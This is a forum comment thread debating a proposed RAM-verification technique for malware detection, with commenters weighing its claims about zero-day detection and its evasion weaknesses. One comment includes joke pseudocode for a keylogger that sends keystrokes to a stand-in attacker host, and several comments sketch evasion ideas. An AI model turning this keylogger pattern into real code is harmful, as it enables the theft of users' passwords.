And when all is said and done, all you have gained is clean RAM: you no longer need to worry about the virus hiding itself on the disk (as I described in my first two paragraphs). You must then scan the secondary storage (disks) conventionally, but you can be certain that your read/write operations are directly accessing the disk and not being intercepted by a virus.

Re:Refuting the imaginary article in your head

[spun]

Well, this is why I assume it has to be installed on a clean system. You'd know the footprint of what was supposed to be in memory. Either the malware tries to hide itself and gives itself away by the delay, or it doesn't try to hide itself and it gives itself away by it's size.

Re:Refuting the imaginary article in your head

[Anonymous Coward]

With SSDs, the delay is still measured in microseconds, where the delay for memory access is measured in nanoseconds (if nothing else, the SATA bus is much slower than the memory bus). Humans may not be able to tell the difference, but computers certainly can -- a microsecond is several thousand CPU operations long.

Re:Refuting the imaginary article in your head

[spun]

Your link doesn't say what you claim it says. It does not mention INT3 opcodes or empty space. The files produced by the process you link to will be larger than unmodified files, and the memory footprint will also be larger.

If you do have something valid to back up your claims, I'd love to see it.

Re:Refuting the imaginary article in your head

[Sancho]

Yeah, but from the article:

Still, many malware agents slip through the cracks undetected... until the rules of the anti-virus programs are updated, that is.

...

Instead of looking for known patterns -- whether of instructions and data, or of actions -- wouldn't it be great if we could look for anything that is malicious? That may sound like a pipe dream.

Maybe it's just badly worded or written, but he's making it sound like he's found the panacea of virus detection. Unfortunately, it doesn't work on viruses which a) don't have a known signature and b) don't try to keep themselves in RAM (i.e. don't mind being swapped out.) I would think that if the virus can overwrite parts of the OS in memory that it would not detect those, either (e.g. it could overwrite services which are commonly started but uncommonly used and live in their process space--autoupdaters would be good candidates for this.)

Re:Refuting the imaginary article in your head

[spun]

You misunderstand the stated purpose of the external machine. It is there to verify timing, used to detect paging the random memory for hash computation. The 'clean machine' is the machine you install the proposed software on. It knows what should be in memory for any given program.

I suggest rereading the article until you understand it. I've got no stake in this, merely here for a good argument and let down as usual by people arguing irrelevant tangents. I'm done trying to explain this to people as it has become boring beyond belief.

Re:Refuting the imaginary article in your head

[turbidostato]

"Still haven't read the article, eh?"

I did. The relevant parts:

"Any program -- good or bad -- that wants to be active in RAM has no choice but to take up some space in RAM. At least one byte, right?"

More news from Captain Obvious Dept.: any program -- good or bad -- that wants to be resilient between cold bootups has not choice but to take up some space in persistent storage. At least one byte, right?

"All we need is the help of an external verifier that knows how much RAM a device we want to protect has, and how fast its processor is. And ways to avoid latency variance when we measure the time to compute the checksum.
This tells us a few interesting things. We can guarantee detection of malware. And that includes zero-day attacks and rootkits. We can even guarantee that we will detect malware that infected a device before we installed our detection program. Think about it. Or read more here and here."

What does it add to current solutions? My answer: almost nothing to absolutly nothing.

1) By trashing out everything from RAM you effectlively have disrupted the service so it's no advantage from other stablished disruptive means like... scanning the disk out of a cold boot.

2) By just cleanning RAM you will have only the ability, even if your system is 100% guaranteed, to detect *only* the malware that was in RAM by the time of the scan. A simple script running from cron will be absolutly undetectable unless it happens to be running by the time the scan was scheduled.

3) No, it won't work on already compromised systems: even if it's run from kernel mode the execution space will already be tainted: think about a virtual server and a virtualized box.

4) As I already said, for a system to survive cold boots it needs to go to persistent storage. If I can know what the RAM contents are expected to be I certainly can easilyl know what the HDD (or BIOS EEPROM, or any other persistent storage) should look like too, so I can compare checksums.

5) Oh! but the system used to get a clean checksum can be compromised! So does the system used to provide the RAM space.

So, in the end this system offers absolutly nothing from the "standard" off-line verification scenario: on a home system boot from CD and check the hard disk; on a corporate system boot from PXE and check the hard disk.

But it offers nothing either on the real time field: TPM can offer just the same only in real time so while it only inspects RAM it inspects RAM at every moment, so the moment the malware is trying to get into RAM it's the time it gets revealed.

Re:Refuting the imaginary article in your head

[Sancho]

I read the article three times and didn't see a reference to scanning anything that's swapped out. I can envision some things you could scan for:

1) Known signatures
2) Amount of allocated memory that was swapped out
3) Total allocated memory.

1 above works if the virus has a known signature.

I don't understand how 2 or 3 would be helpful. Processes can allocate more memory than the system physically has. Pagefiles have been around forever (in computing terms.) And while you could know some minimums on how much memory a process has, maximums would be much harder to calculate and somewhat pointless. Firefox can require a variable amount of memory. You'd have to know how much it had requested and compare it to how much it had allocated. You'd also have to assume that the Firefox process hadn't been modified to request extra space.

I really get the feeling that malware detection is similar to the halting problem, which I've always sort of likened to proving that there is not a god. You can't prove that there is no god, because any proof would rest within the physical world. Someone wanting to invalidate your proof could merely say, "God made the world look like that."

This system gets some help from outside the system, but only for verifying the contents of RAM. It doesn't determine whether or not processes or executables were modified to do malicious things.

Re:Refuting the imaginary article in your head

[spun]

Dude, you just quoted the line from the article explaining what other scanners do. Please quote the line saying this is the fallback behavior of this scanner.

If this is just a signature scanner, how can the author claim it will catch all 0-day exploits, even if the exploit was installed before the scanner was installed?

0-day rules out signature scanning. Detecting pre-installed exploits rules out check summing known good binaries. In short, while this is a clever method of determining that RAM is clean, I don't think it can do all of what the author claims.

Re:Refuting the imaginary article in your head

[spun]

The external verifier could be a simple integrated circuit. All it does is measure timing.

Re:Refuting the imaginary article in your head

[spun]

That's what it looks like to me, too. I was assuming known clean binaries to start with. Others were assuming conventional signature scanning. But none of those methods will achieve the detection of 0-day exploits installed before the scanner, and that is what the guy is claiming his system can do. I suppose if they try to hide it can detect them, but if they don't hide and are 0-day, there is no signature, and if they were there first, no good checksums.

Re:Refuting the imaginary article in your head

[spun]

Well, it sounds like it would still be faster than a cold boot. It is an interesting method of making sure RAM is clean. But that appears to be all it is. Actual malware detection would still need to proceed in one of the standard ways: signatures or checksums.

Re:Refuting the imaginary article in your head

[Sancho]

Except the article (and summary, for what it's worth) say that it does detect infected systems for 0-days.

I don't think anyone here is saying that the technique is wholly without merit, it's just not the end-all be-all that the article implies.

Re:Refuting the imaginary article in your head

[Sancho]

In other words, there is no way to use an external machine to assist you in determining things like memory used by a process because you can't have both a clean machine and one infected by malware and have them identical enough to get a meaningful comparison.

You also have to know a lot of things like how much memory a particular process has requested. Is this a web server? Does the number of requests it's served make a difference in how much memory is allocated? How about just the uptime (maybe there's a memory leak in a process somewhere.)

It sounds to me like the only way to guarantee detection is to start both machines up at the same time and see if there's any difference in RAM allocation. That could be valuable to some people, but it's far from a perfect solution.

Re:Refuting the imaginary article in your head

[Sancho]

That's what the swapping is for. You swap everything out of RAM (except for the detection process.) Now you have a clean RAM playground. You prove this with the hash and the external verification. Now that you have clean RAM, you know that the virus can't be actively doing anything. This is pretty sound.

Now you have to figure out whether there's a virus that was swapped out. This is much harder, and not really covered well. spun adds some assumptions, like the presence of a clean system. I can't find any mention of that in the article, though.

Re:Refuting the imaginary article in your head

[Magic5Ball]

Yes. As others have probably pointed out by now, this idea has substantially the same set of theoretical disadvantages of malware detection using hypervisors, and those of poorly implemented TPM, plus the operational hassle having to almost suspend a system to disk.

Re:Refuting the imaginary article in your head

[sopssa]

We aren't talking about files, we're talking about memory allocated to a process. INT3 opcode was just an example - it's just an empty opcode in this purpose as it's never being executed (compiler just put it in).

The large empty area after the code section was explained here. Modifying it doesn't change memory allocation.

The article I linked does quickly mention empty space but it is not really point of the whole article. However that empty space is used in it to create cheats for a game:

Since codecaves must be in the process space of the application, there are two possibilities, in the EXE or in a loaded DLL. When a codecave is in the EXE, it is usually coded inline. This simply means the codecave is placed somewhere in an unused portion of the EXE that is empty or not used on a regular basics, such as exception handling code.

btw, from a 4 digit UID I would had expected better, as you pretty much yelled this non-sense around all the comments. It's you who doesn't understand even the basics about PE files and how they're memory mapped. And again, we aren't talking about files on hard drive but in memory - two completely different matters.

Re:Refuting the imaginary article in your head

[Anonymous Coward]

I would, if she wasn't either
1. Imaginary, or
2. Dead for the past ~1990 years.

Re:Refuting the imaginary article in your head

[smallfries]

Ok, so you want serious criticisms?

1. They assume that the read back from external storage doesn't overlap with computation. This is not true of any DMA-based transfer that is asynchronous. This breaks their argument as I can hide the time to do a memory / storage swap by using DMA during calculation of the hash of a different region.

2. It is brittle. It depends on a very narrow margin between computation time and retrieval time. There are many things that could cause this margin to change but their complete avoidance of cache variations would kill it (yes I've read it, no their "worst-case measurement" doesn't cut it).

3. As many other people have pointed out it requires a trusted third-party to do the verification. If we allow a trusted party then installing a TPM is much simpler way to do it.

4. If the malware allows itself to be swapped out (i.e it has infected a callback hook) then the system must drop back to standard scanning techniques. These are not guaranteed because of the halting problem - so the author's claim that this method gives guaranteed detect is a crock of shit.

5. Although they've cited Naccahe's paper they've not really done it justice. His approach was much more elegant as it did not require a trusted party, and it got bonus points for using Quines in a serious research setting.

Re:Refuting the imaginary article in your head

[spun]

See people? If you read the article, you can offer cogent criticisms. If you don't you can offer irrelevant criticisms you will then have to spend the next several hours massaging and defending.

I think number 4 is the most cogent. The author claims his system can detect 0-day malware that was on the system before the scanner was installed. Maybe, if the malware tries to interfere. But if it doesn't, you have no signatures or checksums to fall back on, how could this system work?

Re:Refuting the imaginary article in your head

[Tacvek]

The Doctor's goal here is not really to detect malware that has infected the system, but to attempt to get the system into a clean state, with the ability to detect the system actually reaches a clean state or not.

The idea is you want to do online banking, but the system may have malware. So you swap out everything except a small engine, and perform his procedure.

If the external verifier detects that malware is still running, then it lights up a warning light, telling the user the system is infected, and so the online banking is not safe, regardless of what the rest of the computer says. Otherwise no such warning light turns on. In that case it is known that all that is in memory is the scanning engine, and it is known that the scanning engine is unmodified.

The scanning engine can load the kernel into memory, and verify it by checksum, or even better, verifying that it has a digital signature from the secret key whose corresponding public key is part of the scanning engine. If so, we know have in memory a known good kernel. It can then load and check and application again using either keys or signatures. Etc.

What the Doctor has invented is thus similar to TPM, except that with TPM a system must start up in protected mode, while under the doctor's system the system can start up in unprotected mode, and as long as there is no malware that actually remains in memory when the engine tries to swap it out, and assuming the scanning engine is not infected, it can transition into a protected mode without restarting. Both systems obviously can transition from protected mode to unprotected mode. Thus the Doctors system can attempt to transition to protected mode to run an app requiring high security, and upon finishing, can restore all the swapped out software, potentially including any swapped out malware.

Re:Refuting the imaginary article in your head

[Anonymous Coward]

The eternal problem with sandboxing is the problem of usefulness vs. lockdown.

A very locked down app will be mostly harmless on a sandbox(assuming sandbox unbreakability which is assuming a lot).

But as soon as you let it do anything at all you are exposing the machine to potential exploits.

In any case, any successful arbitrary code execution exploit, however well enclosed, will eat up CPU time.

The only real solution is never allowing the code to run in the first place and at that point sandboxes aren't really needed.

Trojans and infected binaries cannot really be solved by sandboxing either because somebody has to set the permissions, and that somebody is either the OS(which will be too restrictive by default and entice you to uncheck checkboxes and or jailbreak it), the malware writer, or worse, you.

Re:Refuting the imaginary article in your head

[pugugly]

And the solution seems, to me to be - do nothing.

This system is only going to detect malware that does something stupid to avoid being detected by this system. It doesn't *Detect* anything, it doesn't track some behavior that only malware does, it just slows down your pc by randomly swapping out memory.

Or, to put it differently, if the malware in question were completely unaware that this uber process was running and did nothing, what *exactly* would it do to stop the malware in question?

Pug

Re:Refuting the imaginary article in your head

[Anonymous Coward]

That's not what it's doing at all. A lot of malware avoids detection through the other two methods by hiding itself in RAM- the rootkit gets in there and makes the system forget about what's going on in a piece of memory. It then redirects anything you attempt to write to that sector to stop the computer from accidentally corrupting it. This defense would check to see if anything other than the OS kernel was trying to manage memory. It couldn't *clear* the infection, but it would find it.

Re:Refuting the imaginary article in your head

[ChrisMaple]

If the malware let's [sic] itself get swapped out, then it can't hide it's [sic] memory footprint.

A piece of malware that installs itself into a big program like Photoshop could remain hidden indefinitely. Compilers frequently waste lots of memory, including uninitialized tables, procedure names, and all sorts of foolishness.

Re:Refuting the imaginary article in your head

[bhtooefr]

You can code around willful stupidity.

Problem is, the end result of that is the iPhone, with restricted, pre-approved application choices.

(Then again, if you count jailbreaking as willful stupidity, then even it fails at that.)

Re:Refuting the imaginary article in your head

[Chris Burke]

If this is just a signature scanner, how can the author claim it will catch all 0-day exploits, even if the exploit was installed before the scanner was installed?

It's not just a signature scanner even by the GP's description, though. It's a RAM-cleanliness-verifier, and that part would work against 0-day exploits.

0-day rules out signature scanning. Detecting pre-installed exploits rules out check summing known good binaries. In short, while this is a clever method of determining that RAM is clean, I don't think it can do all of what the author claims.

It sounds like he's targeting embedded apps like mobile phones with fixed software stacks -- both the links at the end of the article go to other articles that talk specifically about "mobile malware". So if you can verify that RAM is clean, and therefore there is no malware resident to lie to you about things like the contents of flash, then you can pretty trivially compare the disk checksum to the known checksum of an uninfected software stack.

It sounds like this could very well be capable of detecting 0-day malware that is memory-resident on any system, and could detect 0-day malware of any kind (except suicidal) in a system with a known software stack. That latter might be a small (and boring imo) segment, but not an unimportant one.

At the very least, knowing there is no malware resident in RAM to lie to your anti-virus scanner would be a plus.

Re:Refuting the imaginary article in your head

[turbidostato]

"Well, it sounds like it would still be faster than a cold boot."

Yes. But it's unsafer too: if the system happens to be compromised prior to the load of the RAM checker (i.e. through boot loader -on a cold boot you can use a different boot loader) bad luck.

Again, even if you can be sure the booting up system is not compromised, of course it should be faster: it will only review some gigs of RAM out of hundreds or even thousands gigs of storage each of them can be hiding unrevealed malware.

And finally, OK, so the RAM is clear of malware that insists on living on RAM at all costs, provided is not clever enough to hide even to kernel-mode code (so probably some malware on kernel modules would be able to trick this defense too). You still need to cope with all the other malware that will happily leave itself to be dumped out, which puts you again on square one with regards of 0-day exploits.

All in all it can be another tool on the belt but provided there's not a single line of code nor any kind of working proof of concept I don't think it deserves a scientific paper: neither novelty nor opening new paths.

Re:Refuting the imaginary article in your head

[awyeah]

... without the new comment system, of course.

Re:Refuting the imaginary article in your head

[TheLink]

> Trojans and infected binaries cannot really be solved by sandboxing either because somebody has to set the permissions,
> and that somebody is either the OS, the malware writer, or worse, you.

I have actually suggested that the malware writer _request_ the permissions.

I'm serious. See: https://bugs.launchpad.net/ubuntu/+bug/156693

It is easier to check the requested permissions for "badness" than to figure out the program.

If the permissions are from a known set of templates provided by the O/S, it is even easier for the normal user to figure out whether the program is up to no good or not, since the O/S can provide some hints.

If the permissions are custom, a 3rd party can audit them and sign them, and an administrator could allow ANY program to be run by the user, _as_long_as_ it uses certain sandbox templates, or if it uses a custom sandbox, the sandbox is signed by a set of trusted parties.

Furthermore it is easier to automate the checking of the requested sandbox for "badness", than it is to automate the checking of new unknown programs for "badness".

This scenario is analogous to solving the halting problem by having the program writer request up front how much time the program wants, and the user or O/S or "AV software" deciding whether to approve it, and if approved the O/S enforcing the approved sandbox.

Re:Refuting the imaginary article in your head

[BillX]

If you started with a known-clean machine, why scan for malware? From the point of first switch-on of the "clean" machine and initial scan, there is still a live user at the helm, running programs, and (gasp!) maybe even downloading and voluntarily running new ones. (They paid for the machine after all, so why not?) In other words, constantly changing the memory footprint. The article's solution seems to assume that all malware actively dodges the scanner and the system has no users. Although, even on a dedicated server, processes are normally spawning and terminating all the time. If the spawning-and-terminating processes aren't actively evading swap, how does the scanner tell the 'good' processes from the 'bad' ones? The usual...signatures...heuristics (guessing)...etc. Exactly the things the article is entirely premised on "solving".

Re:Refuting the imaginary article in your head

[BillX]

Why would a malware necessarily delete a hunk of another process and inject itself there? We may be operating on different definitions of malware.

The article assumes a very advanced, very nasty piece of work. The kind that can drop their own hypervisors, outwit the memory manager, write a firmware upate to your PCI netcard to periodically DMA bytes of badstuff over process memory right behind the OS' back, etc. But the typical things I am cleaning from machines are just an executable that convinced some dummy to click on it.

while(String[] a=keysPressed())
{
  socket_write('www.evilhacker.net', a);
}

ecc* -o baddie.exe

(* Evil Crap Compiler, (c) 2010 the Evil Foundation)

Your (very) basic run-of-the mill badware, no memory shenanigans. I make one copy and email it to one well-chosen dummy whose password I want. In other words, there's not a signature on file for it. How does the article's superscanner know it's bad?

(As you've parroted many times in prior threads, "it has a memory footprint", but so does Firefox.exe.)

Re:Refuting the imaginary article in your head

[clone53421]

It's not just a signature scanner even by the GP's description, though. It's a RAM-cleanliness-verifier, and that part would work against 0-day exploits.

Correct, except that even if it gives your RAM a clean bill of health you still can’t trust it 100%.

And yes, if the virus doesn’t use memory hiding techniques to keep you from detecting it after you’ve tried to purge the memory (i.e. it’s actually gone from the memory, at that point), you fall back to standard scanning techniques, which are not 100% reliable anyway.

Finally, since you can’t trust the RAM scan 100% anyway, it’s still possible that a virus could hide in the RAM and then interfere with the scan.

The only sure way to scan a device is to boot a clean system so that you know the RAM is clean, attach the questionable storage devices, and scan them from that. You can either do this with a boot CD, or with a separate computer and attach the storage devices via USB or internally.

Re:Refuting the imaginary article in your head

[clone53421]

Please quote the line saying this is the fallback behavior of this scanner.

It follows quite simply. All he is doing, as you note, is determining that the RAM is clean. If malware attempts to hide in the RAM, it will be detected.

If the RAM is clean, the secondary storage devices are not necessarily clean. But you should be able to trust the system to give you true read/write access to the secondary storage devices, which you couldn’t assume if the RAM is infected; a virus could intercept your read/write operations and give you false data.

At this point, you do a conventional scan, and thus if a virus was swapped out of memory (rather than trying to hide itself and continue running) you’ll have full access to the bytes on the disk that actually comprise the virus, but you must rely on your signature database to detect the malicious code. It can’t hide, but you still have to determine that it’s malicious... because the only definite indicator that you had to tell you that it’s malicious was if it tried to hide.

Re:Refuting the imaginary article in your head

[Dr. Zed]

Refuting the imaginary article in your head does nothing for the rest of us.

Speak for yourself. For those of us who don't RTFA, refuting the imaginary article is indistinguishable from that of which you speak.

Re:Refuting the imaginary article in your head

[sopssa]

Some applications do self-modify itself (Skype notably, which is most likely used in many corporate settings) to protect it's code. So do games with DRM and probably many other programs too. You can't make a memory fingerprint of that.

Even that alone aside, you can't fingerprint the memory data because it's changing constantly when you're running the program, and is just as well capable of executing code.

So as a conclusion, it doesn't alter the process size and fingerprinting process memory is not possible.

Re:Refuting the imaginary article in your head

[makomk]

The technique is to swap everything out except the scanner, then write random bits to the entire memory space, then hash the memory.

OK, so you swap everything out - including the kernel, even the code for swapping stuff in and accessing the disk. Then you write random bits to all the RAM. Then you swap everything back in... except wait, accessing the disk and swapping stuff back in requires code that's swapped out to disk, and you're screwed. Which is why the OS won't let you do it.

So you have to run the scanner on the bare hardware with no OS running. Except that can't spot threats that are entirely memory-resident - sure, your system is clean now, but that doesn't mean that you haven't had valuable information copied into unwanted hands, and it doesn't mean that you won't get reinfected from an outside source as soon as you start using the computer again. (Workarounds to run with the OS running are probably impractical.)

Also, even if this did work it'd only allow you to detect malware if either you knew what it looked like or it tried to evade the detector and remain running. Otherwise, you could guarantee that no malware would be running when the scanner was, but you couldn't run anything else then either and as soon as the scan ended and the OS was restored to normal operation the malware would come back with it.

On the other hand, this kind of approach does have its uses in detecting and dealing with hacked pay TV subscription cards...

Re:Refuting the imaginary article in your head

[clone53421]

You'd know the footprint of what was supposed to be in memory.

On a strictly controlled platform (e.g. iPhone) that might be practical. Not in a typical computer; there are too many different applications and too many different versions. In short, a whitelist will not work.

Re:Refuting the imaginary article in your head

[RichiH]

So my malware runs as a script in your email reader. How will his system find it?

Ah OK, I thought as much...

Re:Refuting the imaginary article in your head

[Java Pimp]

Why was this modded flamebait? I didn't take it as a flame... it's a valid statement...

Re:Refuting the imaginary article in your head

[spun]

I've got stalkers. :/

Re:Refuting the imaginary article in your head

[Chris Burke]

Correct, except that even if it gives your RAM a clean bill of health you still can't trust it 100%.

Outside of the non-zero chance of a hash collision, what makes you say that? He seems to have all the bases covered, even malware trying to recreate the data that would provide the same hash.

And yes, if the virus doesn't use memory hiding techniques to keep you from detecting it after you've tried to purge the memory (i.e. it's actually gone from the memory, at that point), you fall back to standard scanning techniques, which are not 100% reliable anyway.

The whole point is that this defeats memory hiding techniques.

But yes, once you've cleared the ram, you have to scan storage. Again with a known software stack, this is "not 100%" in the sense of hash collisions existing. But I can deal with that level of "not 100%".

The only sure way to scan a device is to boot a clean system so that you know the RAM is clean, attach the questionable storage devices, and scan them from that. You can either do this with a boot CD, or with a separate computer and attach the storage devices via USB or internally.

Which is typically not possible in the arena he's discussing.

Re:Refuting the imaginary article in your head

[clone53421]

what makes you say that? He seems to have all the bases covered

The whole point is that this defeats memory hiding techniques.

It relies on information from the infected device. It is not 100% reliable.

I can think of several ways that this scan could possibly be tricked. (Depending on the external verifier, and what it can do.) And there are probably more that I can’t think of. In short... the scan is not 100% trustworthy, IMHO.

He assumes that the virus is not smart enough to know that this is pseudo-random data. If the virus knows that the data is pseudo-random, it might be able to detect the scanner and then simply steal the random seed, ignore all the write instructions, and generate the correct pseudo-random numbers in sequence when the scanner tries to read back what it wrote. This wouldn’t involve hitting the hard disk, so it wouldn’t be slow enough for the scanner to notice.

Or, as I described elsewhere, it could emulate the system timer and tell the scanner that an appropriate amount of time had elapsed, instead of the length of time involved in a hard disk access. Putting the timer in the black box might solve this, but then you have to make sure that the scanner is really talking to the black box, and the virus isn’t emulating the black box itself!

In short... there is absolutely no way to boot up an infected system, scan the RAM, and then with 100% certainty say that the RAM is clean.

Re:Refuting the imaginary article in your head

[Chris Burke]

He assumes that the virus is not smart enough to know that this is pseudo-random data.

Quite the opposite -- in the paper he explicitly assumes that the malware can steal the random seed (and every other attack vector you list plus others). Basically, by running through memory twice, and XORing the values with memory instead of simply overwriting them, he guarantees that malware has to either store the necessary portions of the bit pattern, or recompute them which will introduce noticeable delay calculating the Nth number in a random sequence.

We're not talking about a running system with an OS swapping tasks around and interrupts coming in constantly. We're talking about a system where the only thing that should be running is the checker. The performance in such a situation is vastly more predictable than the general case.

Or, as I described elsewhere, it could emulate the system timer and tell the scanner that an appropriate amount of time had elapsed

The external verifier knows how much time has elapsed.

In short... there is absolutely no way to boot up an infected system, scan the RAM, and then with 100% certainty say that the RAM is clean.

For every arbitrary computing environment, no. But given a few reasonable assumptions -- like, you have an external device with it's own clock and knowledge of the compute speed of the device being tested -- you can.

I suggest giving the paper a read. It's really quite a bit more clever than you give it credit for.

Re:Refuting the imaginary article in your head

[clone53421]

For every arbitrary computing environment, no. But given a few reasonable assumptions -- like, you have an external device with it's own clock and knowledge of the compute speed of the device being tested -- you can.

He explicitly states that it works for laptops, though. And there is no way in hell that I’ll buy that claim, because even if it does, it would require extra hardware and such a ridiculous amount of control (100% control of the computer during the scan) that you’re better off just booting it from a clean live CD and scanning it from that.

And even if it could give you 100% assurance that the RAM is clean, it still wouldn’t “guarantee” malware detection on the secondary storage.

Re:Refuting the imaginary article in your head

[Chris Burke]

He explicitly states that it works for laptops, though. And there is no way in hell that I'll buy that claim, because even if it does, it would require extra hardware and such a ridiculous amount of control (100% control of the computer during the scan) that you're better off just booting it from a clean live CD and scanning it from that.

Duh of course it requires complete control of the system, minus any potential malware. No extra hardware is needed but the external verifier which is really just another system. It'll still work.

And even if it could give you 100% assurance that the RAM is clean, it still wouldn't "guarantee" malware detection on the secondary storage.

Repeating myself: Yes, unless it's a known software stack. Which is why despite any other platforms he mentions, the conclusion of the paper and his primary thrust is about smart phones.

Re:Refuting the imaginary article in your head

[clone53421]

The ticker on the site reads the following:

Retroactive malware detection. Yes, it is possible.
Laptops, netbooks, handsets, e-readers. Check.
Mod detection for gaming. FatSkunk.
Will this revolutionize electronic voting?
Digital Rights Protection with assurance.
Instant Trusted Computing, all in software.
Patented technology by respected scientists.
FatSkunk. The future in mobile malware detection.
Does anybody else offer guaranteed zero-day detection?
Comprehensive malware scans in seconds.

He says it works for laptops/netbooks, not just mobile phones.

He also says it is “all in software”, which it obviously isn’t. And he says that he can guarantee “comprehensive” scans “in seconds”, when all he is doing is guaranteeing that the RAM is clean (if we even agree that he can do that much). A truly comprehensive scan would then have to scan the secondary storage, and that will take substantially longer with a less-than-100% detection rate.

Re:Refuting the imaginary article in your head

[collinstocks]

To me, it seems that the article does not actually detect unknown malware -- it only detects malware that is actively trying not to be detected. If the malware is currently unknown and is not trying to change how memory is accessed -- that is, it allows itself to be swapped out and overwritten like all the other running programs -- then it will not be detected by this method.

The idea seems to be that rootkits will always reside in memory but mask themselves by overriding OS calls. However, this may not always be the case.

Also, I would love to see how they plan to swap out the operating system along with all programs . . . as far as I know, this is not possible/practical on anything that exists. Obviously you have to do it in order to make the computer hibernate, but in that case the kernel stays in memory until the very end when it powers off the computer, and is reloaded again from disk when the computer resumes.

Re:Refuting the imaginary article in your head

[HeckRuler]

... Sorry, still not getting it.

You've got two programs running:
PerfectlyLegitKittens.exe
VileZombieKittenbotnet.exe

The user is running both programs. Both startup with the system. Or both are manually started by the user every 3 hours because it has kittens in the name, whatever. Both yield to being swapped out. Both are swapped back in.

How is this guaranteed to detect the malware? If you swap it out, yeah, you recognize it as a program with a memory footprint. But not as malware.

It's another tool for detecting types of malware that would otherwise be hidden, but "guaranteed"? Naw dude. It's yet another incremental step in the security theater.

Re:Refuting the imaginary article in your head

[spun]

I think you are right. Really the only innovation here is the memory cleaning technique. And, from what I've read in other threads here, that isn't even an innovation.

I don't think the assumption is warranted

[Anonymous Coward]

All you need is to have the checksum calculated by the verifier for the process you contaminated. Then catch the reading part. A checksum can be small enough that you do not need to swap it out and you can include in the malware. therefore, "Or malware could divert the read requests directed at the place it is stored to the place in secondary storage where it stored the random bits meant for the space it occupies." is IMHO incorrect. You don't need to save much info, maybe 32 bytes+the code to redirect the read. Why swap that out ?

Wow

[Dunbal]

Someone has discovered the white-list.

Please take a number and stand behind the perpetual motion people. When I'm done with them, I will explain the few finite set of cases where this method DOES work, and you can assume that in the infinite number of OTHER cases, this method does NOT work.

Idea

[Superdarion]

Wouldn't it be posisble for malware to intententionally slow down many random bits of ram so that the detector would think that this is just latency?

I mean, malware could divert the checksum of his own memory bytes to the hard-drive and then divert many other bytes there too just to confuse the detector.

Re:Idea

[clone53421]

Yes. And there are probably an infinite number of other ways to defeat this stupid idea that also never occurred to the guy who dreamed it up.

Its easy.

[Kenja]

1) install malware
2) report that there is malware installed

There is something that can answer your questions!

[spun]

How COULD this work? There is an answer. You can find this answer in a foreign place, known by the mysterious and terrifying name of The Article. Here's what you do: you read it. When you read it, your questions will be answered.

Basically, I can tell from the fact that you are asking irrelevant questions that you have not read the article. And you know what? I'm not going to explain it to you. To be clear, I am not saying, "This technique will work." I am saying "You are not criticizing this technique."

Finally

[spun]

A valid criticism. And if the malware is actively resisting the scan, by moving the random bits back in from secondary storage before the hash, the external verifier knows about it because it takes even longer. By design. So, unless you are running a load balanced cluster and can afford to take a server offline for a few minutes when you want to scan, yes, this is a problem with this approach.

Re:There is something that can answer your questio

[ircmaxell]

Actually, I did read the article, and I still feel my original objection is valid. They admit in the Article that the program would read Ram through the kernel. So if a rootkit was installed, wouldn't it be able to defeat that (Which was the essence of my OP)? Not to mention that swapping ALL Ram to disk and filling it with "random" information would take a non-trivial amount of time (at least seconds, possibly tens of seconds depending on size of ram and speed of hardware). And is it possible that a legitimate program would want to access said memory in that time span? So I must know (at the risk of baiting), how was I not criticizing the article/technique?

Wrong from the getgo!

[mcrbids]

Not only that, but his initial premise is already wrong! Most people conceptualize a program like an application - it's launched, loads into memory, and then does stuff. And while that's typical, it's a grave mistake to think that's the ONLY way to go!

Off the top of my head, I can think of registering malware as a callack handler for a system event. In this case, you have an infected computer without any code running at all, in a context and namespace different than running applications!

Winows just wasn't designed with a multi-user security model. Adding this after the fact is showing itself to be exponentially more difficult!

Looks a lot like Pioneer from SOSP 2005

[sseshan]

This looks a lot like Pioneer:

Seshadri, Arvind, Mark Luk, Elaine Shi, Adrian Perrig, Leendert van Doorn, and Pradeep Khosla.
"Pioneer: Verifying Integrity and Guaranteeing Execution of Code on Legacy Platforms."
In Proceedings of the ACM Symposium on Operating Systems Principles (SOSP), Brighton, United Kingdom, October 2005.

http://sparrow.ece.cmu.edu/~adrian/projects/pioneer.pdf

Enjoy your swim...

[Anonymous Coward]

NOP

http://en.wikipedia.org/wiki/NOP

Re:Enjoy your swim...

[clone53421]

A NOP a program does not make.

Protip: what tells the computer to execute it?

Impossible By Definition

[davidshewitt]

It is impossible to guarantee the detection of malware by definition. New techniques for malware to hide itself will be developed when new detection techniques are created. This is the way of security.

Hand waving at its finest

[Anonymous Coward]

From the actual paper: "In order to remain on the device, a malware agent either has to be active in RAM or modify legitimate programs in RAM, flash or other storage. Doing the former, we show, introduces significant delays to generate the output expected from our algorithm, and doing the latter causes immediate detection when the memory contents are inspected."

Specifically: "doing the latter causes immediate detection when the memory contents are inspected"

Who are they kidding. No algorithm exists today for immediately detecting the presence of malware in an arbitrary memory dump or even disk image. If it did, A/V would be 100% effective.

As has been repeated stated, if the malware simply allows itself to be swapped out and waits to resume it will, in all likelihood be fine. After all, all the other applications from which it wants to steal keystrokes have also been swapped out and so are making no progress either.

One big mistake - stegonography

[vlm]

One big mistake from the article is:

2) Any program -- good or bad -- that wants to be active in RAM has no choice but to take up some space in RAM. At least one byte, right?

Wrong. Do the steganography thing to a live programs data. Find a .jpeg in outlook and insert the encrypted executable code into the pix. There are other interesting alternatives involving modification of the stack and stack pointers. Even things like the map for virtual memory can be messed with to store a wee little bit of data.

Re:One big mistake - stegonography

[DeadCatX2]

I believe the purpose of the technique is to page everything out to disk. Malware won't like this and will try to keep itself from being paged out. This technique then does the random bytes and hashing to see if anyone it told to GTFO has decided to stick around.

Re:One big mistake - stegonography

[clone53421]

Yes, but there has to be some active, unhidden code to eventually re-claim the hidden encrypted data from the pictures it was stored in.

Re:One big mistake - stegonography

[dskoll]

I believe the purpose of the technique is to page everything out to disk. Malware won't like this and will try to keep itself from being paged out.

Malware won't like this? Huh?? How TF will the malware even know it's being paged out? And how can malware try to keep itself from being paged out? It can't unless it has infected the kernel, and in that case, it might as well just disable the entire scheme, which depends on a non-compromised kernel.

Re:One big mistake - stegonography

[DeadCatX2]

How TF will the malware even know it's being paged out?

It doesn't need to "know" it was paged out. Malware is persistent, as soon as it gets paged out, it will probably touch files again to get paged back in. i.e. "Malware won't like [being paged out to disk] and will try to keep itself from being paged out"

And how can malware try to keep itself from being paged out?

Allocate locked pages? Touch the pages immediately after they get paged out to force them back into memory? Intercept system calls that page data out and cancel the request for pages of memory that it owns?

It can't unless it has infected the kernel, and in that case, it might as well just disable the entire scheme, which depends on a non-compromised kernel.

